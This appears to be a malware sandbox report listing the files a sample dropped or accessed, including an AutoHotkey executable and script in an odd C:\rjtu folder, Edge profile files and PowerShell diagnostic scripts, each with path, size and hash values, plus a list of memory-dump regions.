SHA256 b7cb42be94b3cae0ca05d9ebb4ca1f93e6f4e8fed9c09118c4cb9f94439ef608
MD5 7ae2f8e388a62207493dbb4324514c45
SHA1 f4e0ca89f07be39ca64c1c6919d8cf3fbf5d4900
SHA512 8683590383f9aed72f81a61712fc921541a7090988ccbcb0718a9c001b8919de1dd5a6dfa1b266fb7dc14e6afb35658bf5f36f7b54ff2080b7665a84a597f368
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 42c997297186b3479db3bb58a4c7f9e667246c889b5b88e5de220be9991f3166
MD5 6facd6c3fde5a0ac14dee1559709b143
SHA1 801877b1446e7ba5de6e2851319735d6064887ad
SHA512 0def9b8a37b06305abaee53811e99320645cd80e6d29e3cfe6b1250e857419ee69fc3e4fa375f78a35d82febfc2acd89a9d2b7441a1964f868c83c0b11269282
SSDEEP 96:n/klqKL1XxjIh8lwpvWMoiVmdeH+G58UoUWQyV+VD7ziEwb:n/kwKLXjPlGWMXNVort
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 0b9d8661c866e298b896add8c4618452fc7552354fd5228b4acd116281538917
MD5 c4fc52958a43847e5e61923dd73ee346
SHA1 85fb86c6738e5554bcf3c5440c81171aa460367f
SHA512 8e19ea9cb3e27472d19283a986342d8ab784007cfcae3dd4ef88cc719257fbab2d3770fd110c4db20406427599162e464810455f743dcbf3176ce2e6631ff12d
SSDEEP 192:YoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupAe2RUT5/aebgxznIYWLSDe:A9iIxuERzA83h09RZxYeA/aDxzIDG8Bt
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 a919b0f37b7180b8dde5ac1baef3fe18567f080e9e17de9bcc696ffa6ad98149
MD5 3c3ec708b651ef8a100d4c99a68fbf18
SHA1 20fbe7747c2b80d7796c2dd3f79823626deeb8f9
SHA512 5d742715d5085a3e98e487e0d25c3801df557ece84c5b5ed762cd693f9d9700d09b78150012a9e79cee23ae6f77400f6857e316044ea57e4d77485e297ce04da
SSDEEP 192:OoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupAe2RUT5/aebgCznIYWLSDe:a9iIxuERzA83h09RZxYeA/aDCzIDG8Bt
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1d43810f94dcb8ecc79b461664289a8adc95550d67ed6f426fd6b86623b3e259
MD5 4906df08e7c6256d493c5d63ec475316
SHA1 91cddea276ddbd049b8e12d66e7fb25477acde76
SHA512 0c110431e7368aa4b90fe762f073efaeaa948a471a2292058d72e140a408ad5bd0c9e845ce4060f97dba7f29eb899e6cf9b163b02544928dcb804c588d57d69c
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_ugpuvsx4.oih.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ugpuvsx4.oih.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

HcDaeHA

Path C:\Users\Admin\AppData\Roaming\HcDaeHA
Size 32B
SHA256 46f92410064fad25510559480dee1d88a0269f80b680e84b930a70964d2d10f2
MD5 cb0d8328a5b51660b79545501d6c2960
SHA1 87e460871c6a1c818cac2ed8cd844fd0efe75b34
SHA512 20f3f2d61b1d26cead5f9aa3df21b336ca630ddb9d4279997a8add63c40eecbc1a9ba55dd071701618de0cfc774d77ae8af5a76c0674afbb9d00d7d711f5e548
MD5 SHA1 SHA512

Submit Download

NetworkDiagnosticsTroubleshoot.ps1

Path C:\Windows\TEMP\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\NetworkDiagnosticsTroubleshoot.ps1
Size 25KB
SHA256 e3940266b4368c04333db89804246cb89bf2073626f22b8de72bea27c522282a
MD5 d0cfc204ca3968b891f7ce0dccfb2eda
SHA1 56dad1716554d8dc573d0ea391f808e7857b2206
SHA512 4d2225b599ad8af8ba8516f12cfddca5ec0ce69c5c80b133a6a323e9aaf5e0312efbcfa54d2e4462a5095f9a7c42b9d5b39f3204e0be72c3b1992cf33b22087c
SSDEEP 384:UlSoNnCiXTShob5bbVbgWT6rZTvxlBNexTKmh+xdxBUNQGJ:GSo3h8Jq
MD5 SHA1 SHA512 SSDEEP

Submit Download

UtilityFunctions.ps1

Path C:\Windows\TEMP\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\UtilityFunctions.ps1
Size 53KB
SHA256 3891846307aa9e83bca66b13198455af72af45bf721a2fbd41840d47e2a91201
MD5 c912faa190464ce7dec867464c35a8dc
SHA1 d1c6482dad37720db6bdc594c4757914d1b1dd70
SHA512 5c34352d36459fd8fcda5b459a2e48601a033af31d802a90ed82c443a5a346b9480880d30c64db7ad0e4a8c35b98c98f69eceedad72f2a70d9c6cca74dce826a
SSDEEP 768:AaDgc60FE2UMeV6HQEqEVBWMBaRNdKdNh5BIW6Mk7svkxtFJuAQQW:j0a4bKcW6MkcSuj
MD5 SHA1 SHA512 SSDEEP

Submit Download

UtilitySetConstants.ps1

Path C:\Windows\TEMP\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\UtilitySetConstants.ps1
Size 2KB
SHA256 de5c231c645d3ae1e13694284997721509f5de64ee5c96c966cdfda9e294db3f
MD5 0c75ae5e75c3e181d13768909c8240ba
SHA1 288403fc4bedaacebccf4f74d3073f082ef70eb9
SHA512 8fc944515f41a837c61a6c4e5181ca273607a89e48fbf86cf8eb8db837aed095aa04fc3043029c3b5cb3710d59abfd86f086ac198200f634bfb1a5dd0823406b
MD5 SHA1 SHA512

Submit Download

LocalizationData.psd1

Path C:\Windows\TEMP\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\en-US\LocalizationData.psd1
Size 5KB
SHA256 0637af30fc3b3544b1f516f6196a8f821ffbfa5d36d65a8798aeeadbf2e8a7c2
MD5 380768979618b7097b0476179ec494ed
SHA1 af2a03a17c546e4eeb896b230e4f2a52720545ab
SHA512 b9ef59e9bfdbd49052a4e754ead8cd54b77e79cc428e7aee2b80055ff5f0b038584af519bd2d66258cf3c01f8cc71384f6959ee32111eac4399c47e1c2352302
SSDEEP 96:iLsmw/9nwbgDwlwn0iYveuQzRkkwj0pD+Eij4FvJG5B9c1rO4L:iLsZklGeKxGfw
MD5 SHA1 SHA512 SSDEEP

Submit Download

DiagPackage.dll

Path C:\Windows\Temp\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\DiagPackage.dll
Size 478KB
SHA256 5b7aa413e4a64679c550c77e6599a1c940ee947cbdf77d310e142a07a237aad2
MD5 580dc3658fa3fe42c41c99c52a9ce6b0
SHA1 3c4be12c6e3679a6c2267f88363bbd0e6e00cac5
SHA512 68c52cd7b762b8f5d2f546092ed9c4316924fa04bd3ab748ab99541a8b4e7d9aec70acf5c9594d1457ad3a2f207d0c189ec58421d4352ddbc7eae453324d13f2
SSDEEP 6144:0ZC0lEOC2Us6eEyAc0jbJYOjlCLHUZQsxjuaJ7oSEvcdfSc0jbJYOjlCLHUZQ:0ZFLUe6vJ/wLIvavyfEvJ/wLI
MD5 SHA1 SHA512 SSDEEP

Submit Download

DiagPackage.dll.mui

Path C:\Windows\Temp\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\en-US\DiagPackage.dll.mui
Size 17KB
SHA256 8be175e8fbdae0dade54830fece6c6980d1345dbeb4a06c07f7efdb1152743f4
MD5 44c4385447d4fa46b407fc47c8a467d0
SHA1 41e4e0e83b74943f5c41648f263b832419c05256
SHA512 191cd534e85323a4cd9649a1fc372312ed4a600f6252dffc4435793650f9dd40d0c0e615ba5eb9aa437a58af334146aac7c0ba08e0a1bf24ec4837a40f966005
SSDEEP 96:+mbJmdYVotzW1xcFjPe/dQTVOd5RLQ9/5HgVqz+4MLRvTLGlyQzwv7KCbVeog3+S:+mx1xyexdXeoR4gsgKvHWlTWn
MD5 SHA1 SHA512 SSDEEP

Submit Download

AutoHotkey.exe

Path C:\rjtu\AutoHotkey.exe
Size 367KB
SHA256 e68c483fd2e0a46b4b1d00547755afc0a1faec883b5a3563f8df368de1d97fed
MD5 03404dfedd75165e7d5458b14809c70f
SHA1 cd2ccc2e55e4aebf53f5a5643d6422432702399b
SHA512 10b92d8b49feffe6c39e8a736fdbc2c627941ea79e3bd8194b171833f3391859578313e52bbeb69274dd605f4d0c80dca30e3be52adc9819639774481a3b0907
SSDEEP 6144:bG3HjBYy1r16Z+h468uv4PV8XyoVGa3paynEFY8TeH2qloxU5Y0JeFVzd1fG:bGzuy9B8uv4NhoEa3pnnEFIWq6xU+0Jz
MD5 SHA1 SHA512 SSDEEP

Submit Download

AutoHotkey.exe

Path C:\rjtu\AutoHotkey.exe
Size 892KB
SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
MD5 a59a2d3e5dda7aca6ec879263aa42fd3
SHA1 312d496ec90eb30d5319307d47bfef602b6b8c6c
SHA512 852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
SSDEEP 24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhOt:b+tOWnEFZR0El0JEzQAh
MD5 SHA1 SHA512 SSDEEP

Submit Download

script.ahk

Path C:\rjtu\script.ahk
Size 55KB
SHA256 dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455
MD5 e93f832ee64b07207c38479dbf3ee767
SHA1 7f4a0063a53ed2ba9c2c2e77eacea34ccfbb99f7
SHA512 f46fafc946b0155ab43df99e92f5050e8967ac9528a465afc027801b20431d1c5c8f44a10c04738a995b8819f173e6cf270ab70ed352f69794cef9176f52fe51
SSDEEP 1536:LkYWsC2osxJFXYixOm+EAumSkTK5aDdxnfQ7:Lkgos/txp7LmdLDLnfQ7
MD5 SHA1 SHA512 SSDEEP

Submit Download

test.txt

Path C:\rjtu\test.txt
Size 917KB
SHA256 4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795
MD5 57e19b367883bff9e4f0d905c7634827
SHA1 44afaac68c4792effefcaa63c65c55ef5d089a59
SHA512 dba68357c5d3427171a023919f29d8fc60905708f55acbadb24d5f4b23c355b38994dc6b8c377d6578950e499b205eeb5c9b5ae25885223c2f499e1380fc6c84
SSDEEP 12288:fNzc3328od8WnlEdinOj/Rk4igmlK/RjPwr0Ilcr+XjQ7m3TBhSP8fWcfWBIarnA:fNEfqt3N3Y9Jw
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/828-574-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Download

memory/828-522-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Download

memory/1364-594-0x00000000031F0000-0x0000000003263000-memory.dmp

Download

memory/1364-598-0x00000000031F0000-0x0000000003263000-memory.dmp

Download

memory/2020-102-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Download

memory/2020-135-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Download

memory/2020-90-0x0000025D45F50000-0x0000025D45F72000-memory.dmp

Download

memory/2020-100-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Download

memory/2020-101-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Download

memory/2020-579-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Download

memory/2020-107-0x0000025D466A0000-0x0000025D46862000-memory.dmp

Download

memory/2020-591-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Download

memory/2020-137-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Download

memory/2020-136-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Download

memory/3264-599-0x0000000003200000-0x0000000003273000-memory.dmp

Download

memory/3264-593-0x0000000003200000-0x0000000003273000-memory.dmp

Download

memory/5796-577-0x0000022044860000-0x0000022044870000-memory.dmp

Download

memory/5796-587-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Download

memory/5796-147-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Download

memory/5796-578-0x0000022044860000-0x0000022044870000-memory.dmp

Download

memory/5796-530-0x0000022044860000-0x0000022044870000-memory.dmp

Download

memory/5796-576-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Download

memory/5796-148-0x0000022044860000-0x0000022044870000-memory.dmp

Download

memory/5796-529-0x0000022044860000-0x0000022044870000-memory.dmp

Download